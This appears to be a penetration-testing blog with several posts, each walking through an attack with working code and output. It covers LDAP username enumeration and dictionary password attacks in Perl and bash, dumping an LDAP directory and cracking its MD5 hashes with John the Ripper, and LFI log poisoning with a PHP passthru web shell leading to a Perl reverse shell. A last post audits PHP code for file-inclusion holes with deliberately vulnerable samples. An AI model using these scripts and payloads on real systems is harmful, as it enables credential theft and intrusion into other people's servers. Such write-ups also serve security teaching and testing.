We can use Perl and the Net::LDAP module to check for valid users on the remote LDAP server. The simple script below searches for valid users and returns a distinguished name if found. This will help us in our next step which is to guess passwords for the accounts we find in this search. You can get some ideas on username guessing from Enumerating UNIX usernames

#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;

my $server   = "ldap.acme.com";
my $base     = "dc=acme,dc=com";
my $filename = "users.txt";

open(my $fh, '<', $filename) or die $!;

my $ldap = Net::LDAP->new($server) or die $@;

while (my $word = <$fh>) {
    chomp($word);

    my $search = $ldap->search(
        base    => $base,
        scope   => 'sub',
        filter  => '(&(uid='.$word.'))',
        attrs   => ['dn']
    );

    print "[+] Found valid login name $word\n" if(defined($search->entry));
}

We now run the script and fuzz for users on the server

sam@asus:~/public_html% ./ldap-users.pl 
[+] Found valid login name twest
[+] Found valid login name vpatel
[+] Found valid login name hahmad
[+] Found valid login name ealvarez
[+] Found valid login name skumar
[+] Found valid login name tmoreau
[+] Found valid login name jsmith
sam@asus:~/public_html% 

Dictonary attack to find valid password

Once we have a valid list of users on the server, we can move forward to search for valid user and password combinations. We can use Perl and Net::LDAP to query the server and test for valid logins.

#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;

my $server   = "ldap.acme.com";
my $user     = "twest";
my $base     = "dc=acme,dc=com";
my $filename = "wordlist.txt";

open(my $fh, '<', $filename) or die $!;

my $ldap = Net::LDAP->new($server) or die $@;

my $search = $ldap->search(
    base    => $base,
    scope   => 'sub',
    filter  => '(&(uid='.$user.'))',
    attrs   => ['dn']
);

if(defined($search->entry)) {

    my $user_dn = $search->entry->dn;

    print "[*] Searching for valid LDAP login for $user_dn...\n";

    while (my $word = <$fh>) {
        chomp($word);

        my $mesg = $ldap->bind($user_dn, password => $word);

        if ($mesg and $mesg->code() == 0) {
            print "[+] Found valid login $user_dn / $word\n";
            exit;
        }
    }
} else {
    print "[x] $user is not a valid LDAP user...\n";
    exit;
}

print "[x] No valid LDAP logins found...\n";

Running the script against the server we get the following

sam@asus:~/public_html% ./ldap-passwords.pl 
[*] Searching for valid LDAP login for cn=tim west,ou=channel,cn=sales,dc=acme,dc=com...
[+] Found valid login cn=tim west,ou=channel,cn=sales,dc=acme,dc=com / password
sam@asus:~/public_html% 

Using ldapwhoami to gain access

Here is a script to test a list of passwords against a valid Distingushed Name (DN) on a remote host.

#!/usr/bin/env bash
##
## Dictonary password attack against a valid DN using ldapwhoami
##

dn="cn=admin,dc=acme,dc=com"
host="ldap.acme.com"
list="wordlist.txt"

file=$(<${list})
wordlist=(`echo $file | sed 's/ /\n/g'`)

for word in "${wordlist[@]}"
do
    ldapwhoami -h ${host} -D "${dn}" -w "${word}" 2>/dev/null
    
    if [ $? == 0 ]
    then
        echo "Password \`${word}\` found for user"
    fi
done

if we run the shell script we should see this on success.

root@asus:~/pentest_notes% ./ldapwhoami-dictonary.sh 
dn:cn=admin,dc=acme,dc=com
Password `ldapadmin` found for user
root@asus:~/pentest_notes% 

Dumping data

If we do an ldap search with our user and pass with a search filter of (objectClass=*), a dump of the whole directory tree from admin.

root@asus:~/pentest_notes% ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com
# extended LDIF
#
# LDAPv3
# base  (default) with scope subtree
# filter: (objectclass=*)
# requesting: * 
#

# acme.com
dn: dc=acme,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Acme
dc: acme

# admin, acme.com
dn: cn=admin,dc=acme,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: e1NTSEF9SW5uaE9PdFRmdENveWhPUDFTUFVnSnNMZ3ZxSVA3aUw=

# ldapusers, acme.com
dn: cn=ldapusers,dc=acme,dc=com
...
root@asus:~/pentest_notes%

Cracking OpenLDAP Passwords

the password hashes are encoded in base64 we can easly decode the string to extract the hash

root@asus:~/pentest_notes% echo "e01ENX0wTHVBcXJ1R0diYmpVUlB3TG5KMUt3PT0=" | base64 -d
{MD5}0LuAqruGGbbjURPwLnJ1Kw==
root@asus:~/pentest_notes%

All these hashes can be loaded up in JTR and cracked to get shell access on the remote system.

root@asus:~/src/john/run% ./john --wordlist=/home/sam/pentest_notes/rockyou.txt /home/sam/openldap.txt       
Using default input encoding: UTF-8
Loaded 8 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE4.1 4x3])
Remaining 7 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (hahmad)
education        (ealvarez)
kumar            (skumar)
jsmith           (jsmith)
instructor       (tmoreau)
hindu            (vpatel)
6g 0:00:00:04 DONE (2019-01-20 22:18) 1.360g/s 3252Kp/s 3252Kc/s 3363KC/s  filimani.¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run%

Monday, August 19, 2019

LFI to Remote Code Execution

LFI to Remote Code Execution

The idea is to inject PHP code in to the access log of the HTTP server, then include the log file via our LFI where the PHP code will be interpreted by the web server. once the PHP code is injected we can issue system command to be ran on the remote web server via our LFI exploit.

Something to take in to account is that the log files have to be readable. If you do not have read access to the file it will not work.

We can use netcat to send the request to the server using the following PHP code '<?php passthru($_GET['cmd']);?>' in a GET request.

root@ubuntu:~# nc localhost 80
GET /<?php passthru($_GET['cmd']);?> HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Sun, 18 Aug 2019 01:57:02 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

root@ubuntu:~#

Apache log file entry

127.0.0.1 - - [17/Aug/2019:19:57:02 -0600] "GET /<?php passthru($_GET['cmd']);?> HTTP/1.1\n" 400 0 "-" "-"

The log entry above shows the PHP code we injected. This code will be intrepreted by the webserver as PHP code and executed when viewed.

Running commands

Before we can run commands on the remote machine we need to append our PHP variable contained in the code we injected eariler, in this example it is 'cmd'. We can append our command variable using the '&' symbol.

So our final URL should look something like this:

http://localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=uname -a

Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Reverse connect shell

We want an interactive shell we can issue commands from and for that we can use a reverse connect shell. What a reverse connect shell does is causes the remote machine to connect back to the attackers computer which is acting as a server listening for connections on a certain port.

#!/usr/bin/env perl
use Socket;

$i=127.0.0.1;
$p=4444;

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));

if (connect(S,sockaddr_in($p,inet_aton($i)))) {
	open(STDIN,">&S");
	open(STDOUT,">&S");
	open(STDERR,">&S");

	exec("/bin/sh -i");	
}

In order to get the remote machine to connect back we need to execute the perl script on the server. We append out perl code to our command url and send the request.

First we need to setup the listener. We do so by issuing the following netcat command: nc -nvlp [port].

root@ubuntu:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Once the listener is up and running we can issue the GET request with our PERL code appended to our URL.

localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=[perl code...]

If everything goes well you will have a successful connect back which drops to a system prompt where you will be able to issue commands.

root@ubuntu:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 47392 received!
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ whoami       
www-data
$ 

Sunday, August 4, 2019

Auditing PHP Applications for Local File Disclosure Vulnerabilities

Searching for vulnerabilities using grep

You can search for these function using the grep utility. you can also specify the patterns in a file grep will read from. this is a good way to match mutiliple patterns over multiple files.

This is the contents of our patterns.txt file:

include(
include_once(
require(
require_once(
file_get_contents(
readfile(
fread(
fgets(
Command: grep -f patterns.txt -r -n /path/to/dir

The 'r' option tells grep to read all files in the directory , while the 'n' option tells grep to output line numbers

sam@ubuntu:~/public_html$ grep -f patterns.txt -r -n file_upload_audit/
file_upload_audit/include.php:3:include($file);
file_upload_audit/fgets.php:6: echo fgets($fh);
file_upload_audit/get-cont.php:4:echo file_get_contents($file);
file_upload_audit/readfile.php:4:readfile($file);
file_upload_audit/fread.php:5:echo fread($fh,filesize($file));
sam@ubuntu:~/public_html$

include(),include_once(),require(),require_once()

<?php
 $file = $_GET['file'];
 include($file);
?>

Final URL:

http://localhost/~sam/include.php?file=/etc/passwd

file_get_contents()

the file_get_contents functions takes a path to a file as is argument and returns the output of the file in a string format. You can include files through this function just like the include and require functions above.

<?php
 $file = $_GET['file'];
 echo file_get_contents($file);
?>

Final URL:

http://localhost/~sam/get-cont.php?file=/etc/passwd

readfile()

the readfile() function simply reads a file and writes it to output. If you can control what goes in to read file a local file inclusion can occur.

<?php
 $file = $_GET['file'];
 readfile($file);
?>

fread()

fread function take a resource created by fopen which fread then reads the file and outputs the result. This too can be vulnerable to a local file inclusion if the input isnt sanitized.

<?php
$file = $_GET['file'];
$fh = fopen($file,"r");
echo fread($fh,filesize($file));
fclose($fh);
?>

fgets()

fgets function is like the fread function above. fgets takes a resource from fopen and returns the result of the file being read line by line.

<?php 
$file = $_GET['file'];
$fh = fopen($file,"r");

while (!feof($fh)) {
 echo fgets($fh);
}

fclose($fh);
?>

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...